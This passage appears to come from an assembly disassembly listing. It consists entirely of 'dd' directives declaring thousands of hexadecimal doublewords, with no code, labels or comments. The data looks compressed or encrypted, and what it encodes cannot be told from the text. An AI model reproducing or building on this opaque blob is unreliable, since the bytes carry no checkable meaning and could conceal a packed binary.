		dd 0C072BFE3h, 2B421CEBh, 0DBF89ED0h, 0A0AE8956h, 0D2198FDEh
		dd 0C1CCD00Ah, 0C29EA1EAh, 844686BFh, 53EFEE7h,	0C35E5F40h
		dd 51ECD603h, 7D167653h, 0DB8528DAh, 7EF902E8h,	0FC5D891Ah
		dd 855B280h, 0CCE1348Dh, 0E8313E0Ch, 0C603FD3Fh, 18FC4DCCh
		dd 0C25EEB75h, 0CB048B42h, 5B5FE2D3h, 1F2AC909h, 8976333Ah
		dd 3039F8BBh, 42FF8757h, 8B937D39h, 0FC50F7D9h,	0CA56207Eh
		dd 7421278h, 0AE81E0Ch,	0A0CF47BDh, 0E0D30614h,	0FC450906h
		dd 24483B47h, 3615E27Ch, 0C9488814h, 32F2DB61h,	40ECDAE8h
		dd 0D3C86E93h, 0ABA8CFE8h, 3D70C60Bh, 7C28BE92h, 5B569FEAh
		dd 9C506AA0h, 28FCD233h, 37C44352h, 0A3B80875h,	0C1B065D0h
		dd 8D1D07EEh, 0E09E0146h, 76C3034Ch, 96E83747h,	0BDBA073h
		dd 0F0053BD8h, 0FB811C75h, 0EBD34043h, 0B657641Ah, 76E8451Bh
		dd 0D88B5945h, 14E61C33h, 85C38AB8h, 1C8256CAh,	0E8F18EFAh
		dd 0C08541F8h, 2A167526h, 0AC570C8Ch, 36A0704h,	61304C8Dh
		dd 8FDCE85Ah, 813BEB31h, 0D78B024Eh, 245032F1h,	0CA1B7557h
		dd 4424104Bh, 229F1B8Ch, 8302B54Eh, 11EB08C0h, 8EF8816Ah
		dd 13420204h, 0A41019A2h, 7CCF2CD2h, 26F93894h,	0F19C5408h
		dd 30C4D82h, 473348C8h,	48E3E1B8h, 517A1A52h, 99D7DCC9h
		dd 690F44Dh, 0CDE551E8h, 66D6A410h, 4D834B34h, 0EC0620F8h
		dd 6E4F040h, 3605E7D3h,	320A5A07h, 0CE4F4ADBh, 4D391838h
		dd 0C0105560h, 873DC2Eh, 581A026Ah, 84E1A0E9h, 75817698h
		dd 6EF3D1C8h, 405EDCA8h, 13ABF3FEh, 0AC266C9h, 401875FFh
		dd 58D1403h, 0FAE8C84Dh, 7D8E47FCh, 860F0120h, 8A5DA870h
		dd 86231024h, 83D82033h, 18C1BC89h, 13476685h, 0AA84F4D4h
		dd 8C0420C2h, 0E64EC29Bh, 4464C455h, 76128CFDh,	23DC82C4h
		dd 0A5014785h, 4D2A08B1h, 0C38041CEh, 9C47A521h, 301A18Ah
		dd 40048DC2h, 3B090520h, 6C9FF83h, 1F0E6C10h, 650E067Dh
		dd 10EB06F4h, 750A7B24h, 3EF3D05h, 60ACA72h, 0CEF41AA5h
		dd 20740860h, 2B73F692h, 1C9AF860h, 7910048Ah, 9A185588h
		dd 0FE1D6541h, 2EF6C06h, 0D80E8E08h, 0CFD88AE7h, 6A291C54h
		dd 0AE43F206h, 1807E10h, 94843369h, 466285E8h, 1BC33BC1h
		dd 0C3C7AFA1h, 983A2D64h, 2F9EE846h, 2F1DA6A3h,	47494575h
		dd 395250Fh, 0AC1D114h,	1886E846h, 3958759Ch, 6A840FEEh
		dd 28B5558Bh, 7FF3EF0h,	2BC09D0Fh, 448DF823h, 0F9860982h
		dd 8A72D3F4h, 0FF330166h, 1288634Ah, 489D4AE9h,	4644B058h
		dd 86057531h, 27EBEC48h, 8AC8562Bh, 182EE815h, 9EBF0C3h
		dd 10C97675h, 70B50EE4h, 196DEC3Bh, 1351DBB4h, 2DD45E6h
		dd 0A688E84h, 559B3291h, 0C59984D5h, 487E23EAh,	0CFFDE0B9h
		dd 0E9230BB2h, 898884ADh, 1C5BD9F0h, 0CD1B6E4h,	1284DA9Dh
		dd 88102CB3h, 32520664h, 0E8370A22h, 0F8B29750h, 7CB44804h
		dd 497D9803h, 5128D858h, 49077AF2h, 60268106h, 2874A64Bh
		dd 7C21A89Eh, 0D1E2C949h, 2323D68Fh, 0CFF24AFBh, 31CABA61h
		dd 0E2A983Eh, 48157D5Dh, 2B3BE451h, 5E4E5EE1h, 3AE80105h
		dd 3705DAEh, 0C28321EBh, 0FB0FC3CFh, 923E1848h,	0C8451C01h
		dd 22E36A50h, 5A1544F6h, 69CEDBEBh, 9B60B90h, 838EA662h
		dd 49C99006h, 804C3034h, 3A773C79h, 491C737Eh, 4238D3C1h
		dd 8AC70384h, 39408018h, 4A134041h, 0C243D285h,	0A83B057Eh
		dd 92EC7220h, 0C0CFF1F1h, 0AA90820Fh, 2BD28BB5h, 1C6E07CCh
		dd 0EB75A40Bh, 0A2C37883h, 5D12C6F0h, 8A0E7210h, 0E189800Fh
		dd 0C20DBB04h, 148F4D1h, 44C40772h, 199596E9h, 582E55C6h
		dd 5F5D2E2Dh, 32147200h, 0B3C18AE4h, 0F35DF6FAh, 808F54C1h
		dd 4819D3F8h, 93CFA75h,	1C4D1275h, 2FC39EEh, 93F52DF7h
		dd 605F11Eh, 618CBB06h,	68CFA1E3h, 8D2410C1h, 0A71B4C9Ch
		dd 0FF525382h, 779A9DE3h, 21C8BD41h, 0D38B437Ah, 0B4051428h
		dd 88E420DEh, 0FCAEB8A4h, 403A6524h, 0E4F64933h, 6E460119h
		dd 866A0380h, 540D22Eh,	0AC68B02h, 3DC45FC3h, 0F701A5F0h
		dd 30h,	5D0000h, 0EA002000h, 16Eh, 0DA0h, 85D9A22Ah, 0D3BA9812h
		dd 966BB933h, 0A7BC4614h, 0EE3C9AE0h, 86071413h, 838E7ED2h
		dd 0CFDD2F67h, 53C6101Ch, 0C227E880h, 36CD1555h, 45940B8h
		dd 36E48DFDh, 6CF11DF2h, 0DE411471h, 0C0DDFBB5h, 8A38FDF6h
		dd 64654287h, 971AD1BDh, 43EBEFC6h, 9318C4BEh, 71EA0969h
		dd 0B21AF074h, 353EAE54h, 0B9A39A79h, 0E04AC623h, 0AA0D10AFh
		dd 0A441A089h, 4B1EEA5Dh, 4AFD0469h, 55871A42h,	6A9710Ah
		dd 364E118h, 0EA137ABCh, 7D1792D5h, 0D6526B74h,	1B7EA7B0h
		dd 0E0C75D9Fh, 0EA306525h, 0EB818C98h, 0A9D93F86h, 0B404A02Ch
		dd 0AFD160E4h, 9EAD5001h, 1E4230E4h, 0E0655681h, 5C2F1513h
		dd 80B3E2F7h, 0DAB8FFAh, 300AA5FEh, 0BD955136h,	2C5017A4h
		dd 7F37B0BAh, 0B7FCF6E9h, 0BF56C170h, 90D24F0Bh, 41A5FFF3h
		dd 0FA7CBED1h, 622C402Eh, 1E906EB5h, 15AE2B1Ah,	0D3E7D4A7h
		dd 6C4A2655h, 1332665Dh, 27091C92h, 0D0FBE79h, 0E8DB191h
		dd 0AFD5530Bh, 8B60DDBBh, 0B02F1AD4h, 8E51CDB7h, 50C51D38h
		dd 0BFC76E7Ch, 663A568Dh, 61C4E46Dh, 0CC1A6F88h, 35F4CB3h
		dd 7B9B4481h, 2923FC20h, 0F3F7EF16h, 0B615F495h, 4F477DBCh
		dd 80A12CD3h, 0EC4FB0A3h, 3E9A9611h, 0D2D46FD7h, 9C0FBEDFh
		dd 28893620h, 77D297ECh, 5F5C6523h, 5ECF1E12h, 0B359D226h
		dd 354BE8A3h, 43E1025Ch, 799DC341h, 0B6242508h,	5F211FE3h
		dd 25061897h, 2722516Eh, 2AFEFF48h, 1E4FC24Dh, 34C17B7Dh
		dd 56CEC5D6h, 8F7A786h,	0E7151C66h, 0E3ECB843h,	509E84D6h
		dd 96092E93h, 0B55D5B88h, 1A80EE32h, 36D4A63Eh,	4DC6806Bh
		dd 9A06F3CDh, 0C1E75B3Ah, 54E58974h, 550A7323h,	0F8559A7Ch
		dd 7643D36Bh, 1488CC33h, 0ECD267F2h, 1ADBCF01h,	0A8D250D6h
		dd 0A7A990A7h, 8DD94719h, 0CB0A338Fh, 1FD6A6D3h, 89F4B4F4h
		dd 0A3CB5901h, 672134B7h, 7CB588B9h, 34ABFEEh, 0AEB1D558h
		dd 61DAB683h, 546512DEh, 188DC9FCh, 49BBD5A0h, 0FE3DC965h
		dd 0BE12B7DCh, 0BCEC6F34h, 1B446F79h, 4E9EA61Ah, 0CA704907h
		dd 0A8572Ch, 0E59CE0B6h, 0E03B7049h, 19A1B01Ch,	786B041Bh
		dd 4840BEEDh, 0FC72F050h, 0FEEA9877h, 0F03C2F26h, 76F8EEB3h
		dd 0E07563E4h, 1FF61E0Bh, 28F89B5Dh, 7C6258B2h,	31FEA667h
		dd 7DC5D66Fh, 84CF3C5Eh, 0CE5C25A4h, 6A394703h,	18577D6Eh
		dd 90ADF071h, 0C9F98DD1h, 0A8F529D9h, 9BCB584Ah, 2E34BE8Ch
		dd 88025F6Eh, 6BE02F3Eh, 955B6ADDh, 0E0779D3h, 0E300DFD6h
		dd 78DB593Dh, 0F1CFC1ECh, 4D757C06h, 0B1765B52h, 0CBB9C4AFh
		dd 0D7608F14h, 862BE2BAh, 0C63F252Bh, 952F0499h, 19A154D6h
		dd 0A4B33357h, 0BD63BE23h, 8D0B9C1Eh, 34E9E2E1h, 347673F4h
		dd 6860F007h, 0C2E016A2h, 62DE80F9h, 77BB4EDDh,	0EF7C2157h
		dd 9CFB0879h, 0F78D2928h, 0FA9FE1D6h, 0EB40CAB8h, 20C76F99h
		dd 7A783294h, 0A2D3D86Ch, 0ADFF0D68h, 0BDCAC0EDh, 30C3B838h
		dd 0FAADA1D2h, 6DD2EA88h, 8C861F4Dh, 0EBB33889h, 3CF39179h
		dd 10819239h, 3D9A7357h, 66D7587Bh, 21DB5F99h, 0D8841A59h
		dd 696C2AEAh, 6F5A29BDh, 304BB611h, 0DDF937FCh,	44B5BE1Eh
		dd 32718B2Ah, 7A6A58F2h, 929D9112h, 0C9938199h,	7CDC0E69h
		dd 5035789Ah, 87CA0C90h, 0F70E6BB9h, 0BEFA5FA9h, 125AB899h
		dd 0C48D09B1h, 14015B58h, 63E7DA4Ch, 22425692h,	0EEF95F1Fh
		dd 415DE56Eh, 0D332219Ah, 9E0C93D2h, 70E55334h,	0CCBC84B5h
		dd 90AE1E43h, 7E9CB1A4h, 2CDA4BECh, 0DFEED98Ch,	8BCA54F4h
		dd 4F1F069Ah, 0DB5019ACh, 0E0084F26h, 0DFCFA0D8h, 0B88698CFh
		dd 0A46F69F8h, 4EEA3F38h, 0A09AE8E3h, 7CF5AAF8h, 0BE08CDA6h
		dd 0F4C43B28h, 98F676BAh, 0B391668Eh, 0B50FB657h, 29D3E51h
		dd 6A2057D1h, 0C0C56AAFh, 8F1FC712h, 32D34D03h,	83B15D20h
		dd 0B82845D2h, 94EA8892h, 4FAF649Ah, 1A864CCCh,	0B3989CCAh
		dd 0DC821F7Bh, 8A74E1F7h, 2D5BDE64h, 0A8851885h, 0A3ADCB41h
		dd 232DEA9Ch, 6E1032DBh, 615F66E4h, 269EFFE7h, 0A6C79787h
		dd 0D2CF340Ah, 1AA70D9Bh, 9760CFD0h, 483DD646h,	0C6686439h
		dd 5FD930A2h, 6427AD2Eh, 0EC39167h, 2BD20445h, 0D5DA0F4Ah
		dd 0F888A178h, 5BA0B29Eh, 0B9A68BB7h, 399DD170h, 87427279h
		dd 5154AF1Ch, 13345DF8h, 6D608468h, 0A2490C0h, 6055F20Ch
		dd 0AB4A759Eh, 8C8F08B8h, 942BD694h, 47CB83E5h,	143C0FEDh
		dd 0D2372098h, 2F8E8F25h, 0C446057Fh, 18F619D2h, 4A748DEEh
		dd 0AD8E3EDh, 65B71F86h, 0DA86C5C1h, 3A1E364Eh,	73CCDE2Ah
		dd 7CEC6102h, 9D145928h, 0FADB8058h, 3DD64E05h,	7A82979h
		dd 6A3EE59Fh, 63404DC1h, 3CCCF560h, 0D35D43D9h,	0BE18E6B0h
		dd 3A3E5F94h, 795A6825h, 7DA29ACBh, 310B7832h, 94FFF234h
		dd 202E4666h, 8321D75Dh, 55D9B026h, 0FF2CD34Dh,	70C8C0EAh
		dd 47F0088h, 548C31ECh,	0F65DC7Bh, 0B5EE5BD1h, 1365204Ah
		dd 174CDBAh, 0F51E16CDh, 3BE718CEh, 8BB81D65h, 3FC48869h
		dd 3D25570Dh, 9B5CCD89h, 97B1AB97h, 3691CA36h, 88D909ADh
		dd 7D4FA027h, 0C21CA82Fh, 0CC7B0E2Fh, 2DF477A4h, 7D0BF160h
		dd 4B00FB23h, 446278C3h, 5135859Bh, 0FAA81E76h,	9DD0709Bh
		dd 9BC7A891h, 0F05921F6h, 0B9A6CCD3h, 6025C918h, 2773A734h
		dd 8B867B33h, 146BABA9h, 8F7DABEBh, 0C8B362FEh,	0EF481444h
		dd 0A849D40h, 3C9EEA90h, 0BBF614F6h, 312CFA4Fh,	13FEC1A6h
		dd 0E457E6A9h, 9204F915h, 0F8A10F7Bh, 3D140C80h, 0CAF78D7Ch
		dd 0ABB64CABh, 716000C2h, 5B698366h, 0C04E8710h, 682AD714h
		dd 5057C561h, 0ABE54677h, 0BD4C91D2h, 851DABD2h, 0B2E6CB94h
		dd 0C9ABFE02h, 0CD2A37DBh, 8805C80Bh, 0DB6F906Bh, 0D97C2495h
		dd 0EA628FB6h, 555DC65Eh, 9BDD1414h, 59DFA1FBh,	5FB77E9h
		dd 492AD9A0h, 163D1C97h, 7BCB0098h, 6983EABCh, 0E0841C6Ah
		dd 1E329204h, 164613B6h, 80D0EE18h, 0E77CB134h,	306FB19Fh
		dd 0C955FA14h, 5EB6DE36h, 9A4471Bh, 7E9AE2Ch, 62B37F7Ch
		dd 0C9DCD956h, 38945960h, 62661103h, 8DFA7565h,	0FB98D587h
		dd 96507D1Ah, 362D3948h, 33F6401Bh, 0F23899h, 95D51C9Ch
		dd 52BE7DC7h, 0F02C26DDh, 12E61FEAh, 799C82C1h,	50B8AA3Fh
		dd 0ACA6D958h, 94B053C3h, 868F03ACh, 49F3F2BFh,	0CB1651F8h
		dd 36DB145Eh, 50CFE44h,	0F6834593h, 0C5D9DBE5h,	0DDC6AAECh
		dd 0E4FD76CFh, 0FFD3BC26h, 6DF627Ah, 8E50ADA3h,	5D7722D4h
		dd 95A711A5h, 0D10C7F15h, 0F08CB6C2h, 0CBF7E6C0h, 41771B44h
		dd 0C7DA30FBh, 7D37BF86h, 0EE220273h, 9B84FA21h, 569D19A0h
		dd 0F6AC949Ah, 0F3DCCF21h, 4EE3FFF2h, 0F0BA1972h, 0BA12DC5Ah
		dd 845CC35Ah, 23184449h, 0B0F7DFDBh, 4BC4D11Ah,	27DF5B5Fh
		dd 6B0D4B53h, 0AA4E4420h, 5C51356Fh, 5FBC4C35h,	79F36C7Ah
		dd 181B1346h, 563AA9D7h, 69E327A9h, 4A49FD33h, 8FACE14h
		dd 0AEB8587Fh, 39BC9B2h, 610093DAh, 47B5D10Eh, 215E50FBh
		dd 564CB87Fh, 7ACAF1E8h, 0E4CCEDB0h, 1D152462h,	0F57833A1h
		dd 3AC34A67h, 483EB0EDh, 683B11FCh, 0B0E47948h,	519A87C2h
		dd 8DE1A0B1h, 0AF45E995h, 71ED5114h, 2831FB42h,	64BB527Bh
		dd 13BD6101h, 51635A38h, 6447E549h, 1AD94529h, 178539BBh
		dd 0ED804D4Eh, 0DEC716Bh, 43E0CB46h, 87B5F9AEh,	9481E3DCh
		dd 0ABF6E21Bh, 653BD403h, 0C844880Bh, 5444F750h, 41A32Eh
		dd 253E374Dh, 584AC6EFh, 76ED6739h, 23F269CCh, 5F8E8E4Ch
		dd 44857A73h, 0A07C0D3Bh, 0EFDFB5A1h, 0DAA2BF0Ah, 0DD0C9307h
		dd 0C3C18FF0h, 398CE3DFh, 8A0AA20Eh, 0F2EC131Dh, 0AABBD603h
		dd 113264D6h, 911E32BDh, 2E03CDDAh, 0BB318AAFh,	0E57010BFh
		dd 1B5362DFh, 8605E141h, 739B276h, 934E322Ah, 6A72DFA6h
		dd 0DBDA2EFh, 2A8D3D97h, 386D475Ah, 0CC12E454h,	1F2E6895h
		dd 796B7565h, 29834009h, 0EAED4165h, 584895F3h,	0A9169748h
		dd 0AD165E5Bh, 0B5CCAD95h, 0F91CF6Bh, 5D276021h, 40B1851Ah
		dd 5BFAE929h, 8D4D350Bh, 0FA8C68AFh, 0AB6C5500h, 1EE78E13h
		dd 0D3021DA9h, 0FE4A841Eh, 0E26E7659h, 14B74C1Ch, 615E95BBh
		dd 4B3A9785h, 0A7ACEDD8h, 0F5A1F28Fh, 9A1469DCh, 9F82B012h
		dd 0F86F4BBEh, 0FCDAF064h, 0E8528793h, 6277D86Ah, 61844919h
		dd 0A389CB51h, 0F6B4FF82h, 0FFBE7016h, 84155873h, 25F56589h
		dd 0A84FAE7Ch, 0F28FBCBDh, 6F0D8EF7h, 1DB7050Fh, 0F0E43B8Eh
		dd 0E454CC20h, 56AB0252h, 7E32AFEDh, 1AE01DC2h,	0A91F7197h
		dd 2FE4A46Fh, 8B89C445h, 0B362E28Bh, 2AC266B2h,	9303C8ADh
		dd 0AF782571h, 5AE34D75h, 77957BE8h, 79D002F2h,	64A89E4Eh
		dd 0B41212ECh, 0E1ABD96Bh, 6C15B55h, 0D015AFE8h, 26DCE7C1h
		dd 0D0E8046Eh, 0BD3279C2h, 961FD9A4h, 6932108Ch, 70BE8765h
		dd 26BE8B9Bh, 1AF1DE46h, 2D7106ECh, 9433ED3Bh, 52C619F1h
		dd 76A2855Bh, 0E69EAF7Bh, 2221A269h, 6EF4207Eh,	0FE67C8CDh
		dd 0D9EB7A9Ch, 1217D594h, 47CBFD6Fh, 0B6956E54h, 786DFBA2h
		dd 0A7C23F48h, 638660D5h, 0ED961463h, 0A11A867h, 5DC73429h
		dd 7AF60E91h, 0ACBD5D52h, 0A36F5273h, 777CCE09h, 0DAA8E28Ah
		dd 0CD660757h, 0FFA6D922h, 0FC618091h, 0A8CA9BC5h, 2DBAC0AAh
		dd 458EC80h, 62CBDDFFh,	0E802508Eh, 0BAD7CC98h,	0BF82EF26h
		dd 0D438A443h, 0CD92B2Eh, 3D495E2Dh, 43A5800Ah,	87BAA99Bh
		dd 30DDDF98h, 0C3F68213h, 20323E29h, 754BE33Bh,	0CB54F6D7h
		dd 7E5D3B97h, 54DE2393h, 0E903E847h, 6C7C0A87h,	0FC143E23h
		dd 893218D8h, 8A92B3C2h, 149D35B1h, 0AD3A6E32h,	26E9AF19h
		dd 0FA497391h, 74976446h, 80CF2454h, 0B5A47427h, 87BEA55Fh
		dd 0CBDD2618h, 77BFAF21h, 6D0D340Ah, 0CD8A401Eh, 1A4F2CAh
		dd 8009C0D1h, 81C6BB46h, 2C013E49h, 4A2C5C16h, 0AE8027D4h
		dd 0F3A20037h, 0EC1572Ah, 704DAECh, 28504763h, 0A7CFAA1Dh
		dd 2317726h, 2CCABF2Bh,	62E6DA6Ah, 35D7F2F1h, 0D5A6C8DDh
		dd 0CD7672E0h, 7BF8B9ABh, 6BF99E22h, 2960412Fh,	1E3531FCh
		dd 1D968924h, 85D34D63h
		dd 0DAB4438Fh, 8F81BD32h, 4EFC64D1h, 0E3C5008Fh, 1FBE9B66h
		dd 7FCEC5A8h, 8D832A47h, 844404ADh, 0C9DD2561h,	0C19C13B0h
		dd 7BF4E87h, 3E4D24F0h,	20B7A0BCh, 0BDB8E5E7h, 328D7FD9h
		dd 0C4E04852h, 3914EEE1h, 0D3267BAAh, 9FBF2774h, 0E2FF6F61h
		dd 49CDC3CDh, 0FBE1AD99h, 0B06634ADh, 3C1E0153h, 565BA2F7h
		dd 3E6FCF4Ch, 0A0645858h, 38C2B69Fh, 0A04060ABh, 0F325B4EDh
		dd 0C3A855CAh, 4A71A20Ah, 9162EBDAh, 58230107h,	0BA02CB7Bh
		dd 0D6B7853Fh, 3884C95Bh, 189A0975h, 753E99B6h,	11342358h
		dd 50E5CF25h, 187FA3E5h, 0D2DAF061h, 4AB762Ch, 0F81C8BD1h
		dd 30F7FEBh, 462F53F9h,	68568ED3h, 47A4F578h, 2C21AAD8h
		dd 1F1BB5Ah, 0C6BE3C39h, 595A4B06h, 9ECD0FD3h, 85D9B9B6h
		dd 0C5AEF675h, 0BE97E114h, 78C44DCCh, 86036899h, 79CD93F3h
		dd 0FDFD1C2Ch, 67777B80h, 4E7FA677h, 44378546h,	2EF58717h
		dd 0ABC2634Eh, 0F0A30463h, 423CFA6Bh, 237AAE7Fh, 0D7F1CCDEh
		dd 0A60359E8h, 23934DD2h, 0AA90DF54h, 0C40E862Eh, 7329DCA3h
		dd 3C45A0A3h, 8051820Dh, 0DA846F2Fh, 0F9366D59h, 0BDB1C077h
		dd 2683F942h, 8F8DF138h, 0D84CDAC8h, 90F5C89Dh,	23C31816h
		dd 335CC721h, 81316488h, 0C04726E5h, 394B3E3h, 25EED439h
		dd 6D25ACE5h, 0A959D9A1h, 0E9417F2Fh, 0C15F8B41h, 91A637A3h
		dd 0FF1FADD8h, 61ED1CD7h, 0BA3C3876h, 77783D6h,	0FFB25C33h
		dd 958D4305h, 73C9C18Dh, 0D3FA452Ch, 2835D9DEh,	3E70824h
		dd 71BE3AA1h, 0B6DB11Ah, 0A3D73226h, 656D6875h,	9F6BDC87h
		dd 0C5BC8553h, 0A977A296h, 6BCE520Ch, 0A0E55BB3h, 0C0C22F55h
		dd 8DD0244Dh, 20AA9E87h, 2E8CC33Dh, 0F8828F21h,	15C638C4h
		dd 911A6DF8h, 5CEF9336h, 0A88A79E8h, 51658DC8h,	56ACFF44h
		dd 73F3CDB3h, 9E65C7BAh, 14A9F65Fh, 0D25F0B05h,	0F9996E3Eh
		dd 0A54E133Dh, 18DB2C90h, 4D8220D1h, 0EAC66FCEh, 0B8213663h
		dd 63B1ACF4h, 0A19F50E6h, 9820F231h, 0D222BFECh, 636B7247h
		dd 0E65FD109h, 6637F60Bh, 716D2F9h, 808B9867h, 14392C3Ah
		dd 397B44BDh, 0B7D05E66h, 0B35159CDh, 8FD6FF5Ah, 0B7869164h
		dd 0F810CCFCh, 53DBBD79h, 0B9FF7F30h, 49DBD1E3h, 9A6DC035h
		dd 1995A242h, 0CF255D76h, 0CEAFBDCDh, 87647808h, 0E7617E48h
		dd 0F3A8782h, 0EAEDA059h, 0BEE8B163h, 157A972Ch, 0AC930510h
		dd 26A01E8Ah, 2EFCF79Bh, 5F77E55Bh, 0EBBF1680h,	0EFEF3D58h
		dd 8B77D206h, 0CB7CC88Ah, 3F7EAF9Eh, 88512545h,	9528723h
		dd 5AC04E98h, 0CCFE1D5Dh, 6E3165F2h, 25232C2Ah,	43FB381Fh
		dd 9DF873A7h, 0DE6CB8AEh, 1EB10F1Eh, 0FA03C169h, 0FB40A8A3h
		dd 0DD72865Eh, 25B49BD8h, 5CB534DAh, 0A3346E9Dh, 0FB606F5Eh
		dd 2AD6ECEEh, 9455C2C3h, 0C4B15BC2h, 5370F11Bh,	0BB193054h
		dd 5D9CADCFh, 2C05953h,	0D225D648h, 0A0E0D3D8h,	0B5EDCD06h
		dd 0F8E35CD3h, 5B6B3761h, 3666493Ch, 7D2E796Ch,	26F4B847h
		dd 8A2EFF8Dh, 0CD105037h, 0B0A0B66h, 556C23E2h,	9F5498h
		dd 0CD66CDEh, 0EF90BC85h, 6F1A79BFh, 49A5E7FCh,	9E6CC062h
		dd 113C873Dh, 0CD618F0Ah, 0C2C9A4AAh, 27E47A7Bh, 0F92FF99Dh
		dd 6430DE20h, 1F573B59h, 70A833EEh, 7353518h, 4452951Fh
		dd 7748EE31h, 22B45CB6h, 0FAC84486h, 4766057Ah,	204B6340h
		dd 149D707h, 641A9460h,	0F50168DCh, 0F88086C8h,	4FDF4631h
		dd 0DED43765h, 5A7A8C9Bh, 0B96F8DC2h, 0C61277Ah, 0EA45F09Ch
		dd 391CA436h, 8D8AF9Ch,	0C7D0C086h, 4856F16h, 0F280FD39h
		dd 3AF99036h, 8FC09090h, 498E767Fh, 500E37F7h, 838AE08Dh
		dd 1DB56323h, 1D24454Dh, 0AAE9A20Ah, 80C7F06Eh,	130A9369h
		dd 0AFB7E181h, 89F4AEDFh, 0DBAA002Eh, 0F9581793h, 0E6A4439h
		dd 478DFDA1h, 802D7E67h, 0E426B724h, 0D6B38209h, 8E1AC668h
		dd 6D39BC65h, 7BAE335Fh, 0A739645Eh, 96208B9Bh,	4E083783h
		dd 0B1E7BB55h, 0FC37AC12h, 0C1A6B1BFh, 2337FAC2h, 0A466DDA1h
		dd 81661098h, 0FA5B122h, 0E376FCEh, 0ED181F5Ch,	3603568h
		dd 20073A7Bh, 1726F094h, 0D5E970B5h, 6506F352h,	0B61D9FC5h
		dd 0DB60FC9Ah, 0C17CCED8h, 2451A7ECh, 88A8CE86h, 21610FBAh
		dd 0E03D1F24h, 1D726935h, 2B74C7A3h, 0E5FCBC29h, 0DDBE82ABh
		dd 863FC8BEh, 0AF3AF797h, 0F05ACC1Ah, 20161F79h, 0E46B0D82h
		dd 0DA5F0F16h, 3178A0E0h, 0D7B6AED4h, 637A82B4h, 77893B2Eh
		dd 0E704F658h, 4B1865ABh, 48DCD403h, 20FA98BBh,	0A2CFCA1Bh
		dd 0C2EF6A60h, 985D4D9h, 0CDBA1FD5h, 0D9162ECAh, 2588145Eh
		dd 77C49292h, 0C50616A4h, 64B5BF47h, 209DEF16h,	0FBABB08Bh
		dd 0E78E91CAh, 0E15AABFBh, 56D22088h, 4139F6BFh, 0E984241Eh
		dd 0E6C7824Ch, 0A76B761Eh, 0F460EDCEh, 0EBA20742h, 0EA488119h
		dd 499C3C0Ah, 0E839237h, 0FBCA4DC3h, 87163E36h,	0C2A8692Eh
		dd 9F139DA4h, 0D142174h, 3A69FF6Dh, 17535A32h, 3B500FE9h
		dd 77CB7B71h, 0FD38F4A6h, 0C89C51AAh, 0B3740711h, 5527D5D6h
		dd 0C99FBF86h, 64792CF0h, 0FADC2DC3h, 0AC1F51EBh, 1F3EF363h
		dd 640E4380h, 15541F59h, 5EB69912h, 0A23D11DEh,	0FA427267h
		dd 0AB742A89h, 0E8CEEB21h, 45BB8052h, 6F217C35h, 0ACBCA21Ah
		dd 3876CB9Bh, 19AF641h,	5F8C9434h, 0CE28F635h, 0C11DC689h
		dd 966E3DD1h, 0FF81B7AEh, 0EF5562B9h, 7C72592Ah, 56902EF4h
		dd 774C6135h, 0DC8A6D74h, 1041635Bh, 58AF7989h,	7D080714h
		dd 4D5148D1h, 6BA8C0AEh, 0CC8C2CD6h, 0D2A4E0DEh, 2361A70h
		dd 108DF430h, 0BD4385F2h, 3CF30CA2h, 957492B5h,	36536329h
		dd 6B557A7Bh, 31580CDEh, 0E1D5611Fh, 0D772B821h, 3BB5B5F6h
		dd 0F7961B3Ch, 11F26AF5h, 5A155212h, 46A63CD7h,	2E0FB3EBh
		dd 70247E28h, 2CCBCDA3h, 421875CEh, 0FD71AB67h,	267DB813h
		dd 9DC8987Bh, 0A90B5D8Eh, 48D205D1h, 64CAE43Fh,	0D9DC41D5h
		dd 5DACA8C9h, 0E02B5AA2h, 446FEAB0h, 0ECC63621h, 495B6758h
		dd 8CDAC067h, 95B55D9Ah, 26E55D5Dh, 6F684B64h, 5B224669h
		dd 74214362h, 0A4254666h, 41C2B3CFh, 56AB6963h,	7227DE1Ah
		dd 97B2EA5Eh, 0BE83DF40h, 513E6F2h, 3D9D9E00h, 5A41D072h
		dd 0DCCB348Dh, 0BC661DDBh, 8DAB3050h, 1A1860E7h, 98322883h
		dd 887190D2h, 44383E22h, 68EBCA9Ah, 783FE497h, 73580171h
		dd 0A4F8BBFEh, 0D96D6B1h, 6C2D7CEDh, 384B203Fh,	0EF3A7FE4h
		dd 0C6F5B1C8h, 58BE92Ch, 0EC5268B2h, 9136CF4Eh,	6584976Ah
		dd 0C926F25Ch, 6747003h, 0CB841665h, 0E3852DB5h, 0A7529E15h
		dd 0BB8C35B6h, 31C6FFE2h, 787F422Ah, 4CE98BCCh,	666859D8h
		dd 0ADE7D0FFh, 1ABBA72Eh, 9E1D851Eh, 0DFB956B5h, 7D1EE9FCh
		dd 5503F610h, 3DA72A88h, 53E28FFEh, 520803A9h, 7F3831F2h
		dd 8797FEF8h, 816689E3h, 8BA6CB4Ch, 0A954BD91h,	0BFF29680h
		dd 0C1140B9Dh, 0ED5B873Fh, 0A1B0ED0h, 7F5A6388h, 39C4704Fh
		dd 10C7A7B5h, 0D6FF64A2h, 0B8B2BC72h, 4A2F694Fh, 8CA561AAh
		dd 39D63401h, 43CC4E36h, 0D61F77F1h, 2827660Bh,	57D01320h
		dd 0B82F4530h, 209AE9Ah, 0F8CEDDF4h, 350932B0h,	7BC24150h
		dd 0BD9D78CBh, 398736B9h, 4FF94F02h, 1241E90Ch,	3D0969AAh
		dd 9BA74DA4h, 1234F389h, 0D302168Dh, 39201060h,	0D38E1A17h
		dd 0D6C1BFD1h, 25AB7DADh, 4ECE089Bh, 2178E9A8h,	0D69D3C3Eh
		dd 0FF5C377h, 0DAE29D94h, 95C90CAEh, 0BCB968B6h, 60AC0880h
		dd 34BFFA77h, 0EF4B682Ch
		dd 9C8E161Eh, 9627EB13h, 3C69EB33h, 8E817BBh, 3ADCF603h
		dd 219A9DD5h, 31BECED2h, 3C8A4A27h, 0D12F8A29h,	0F81E4BC7h
		dd 1B01E16Dh, 7143997Ch, 30FF1F18h, 166120ABh, 0FF8F0708h
		dd 0D0AEEDDDh, 0ED91E1ECh, 0A80C1FBDh, 17B733D0h, 56312AF5h
		dd 0BBD675A5h, 0FFCB11E9h, 2AD3DF46h, 3BD918D3h, 0A925034Ah
		dd 6FB14414h, 30621EBBh, 0C06FE051h, 1FEF8E6Dh,	0A8AF8869h
		dd 0A3DC942Eh, 5BE20DC8h, 294E25EEh, 1A07CDBBh,	0BF524F00h
		dd 1EDD4305h, 743B9260h, 0FD229D59h, 257833FDh,	0BFCC72Dh
		dd 278C3820h, 12372974h, 0EA8909FFh, 0B26873F9h, 1940B334h
